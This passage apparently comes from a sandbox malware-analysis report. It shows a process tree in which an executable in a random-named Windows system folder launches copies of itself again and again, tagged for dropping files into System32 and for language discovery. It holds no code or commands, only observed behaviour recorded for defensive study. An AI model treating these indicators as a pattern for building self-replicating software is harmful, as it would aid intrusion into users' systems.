C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe105⤵PID:5336
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe106⤵PID:5372
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe107⤵PID:5392
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe108⤵PID:5420
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe109⤵PID:5452
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe110⤵PID:5488
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe111⤵PID:5508
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe112⤵PID:5528
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe113⤵PID:5548
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe114⤵
- Drops file in System32 directory
PID:5568 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe115⤵PID:5588
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe116⤵PID:5608
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe117⤵PID:5628
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe118⤵PID:5648
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe119⤵PID:5672
-
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe120⤵
- System Location Discovery: System Language Discovery
PID:5692 -
C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exeC:\Windows\system32\F0wuFeP\MzrKRlk.exe121⤵PID:5712
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-